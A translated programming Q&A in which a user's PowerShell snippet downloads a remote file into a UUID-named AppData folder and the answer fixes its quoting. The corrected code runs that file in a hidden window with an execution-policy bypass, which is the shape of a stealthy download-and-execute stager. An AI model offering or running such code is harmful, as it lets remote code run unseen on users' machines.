在powershell中,我可以在一个特定的随机名称创建的文件夹中下载脚本,但是我无法从那里找到执行脚本的正确方法。这是我使用的代码:
$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID;
$path = $env:appdata+'\'+$uuid; $h=$path+'\d';
if(!(test-path $path)) { New-Item -ItemType Directory -Force -Path
$path;};
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt;
start-process -Windowstyle hidden cmd '/C
'powershell.exe' -exec bypass $path\\test.txt';
最后一个字符串中缺少某些内容,如果我也使用'+ $ path +',则问题仍然存在。
有什么建议吗?
答案 0 :(得分:3)
问题是最后两行的单引号。由于您已将$path
括在单引号中,因此不会对其进行扩展,而是直接使用它。更改为双引号以扩展变量,这应该可以工作。
$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID
$path = $env:appdata+'\'+$uuid
$h=$path+'\d'
if(!(test-path $path)) {
New-Item -ItemType Directory -Force -Path $path
}
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt
start-process -Windowstyle hidden cmd "/C 'powershell.exe' -exec bypass $path\\test.txt"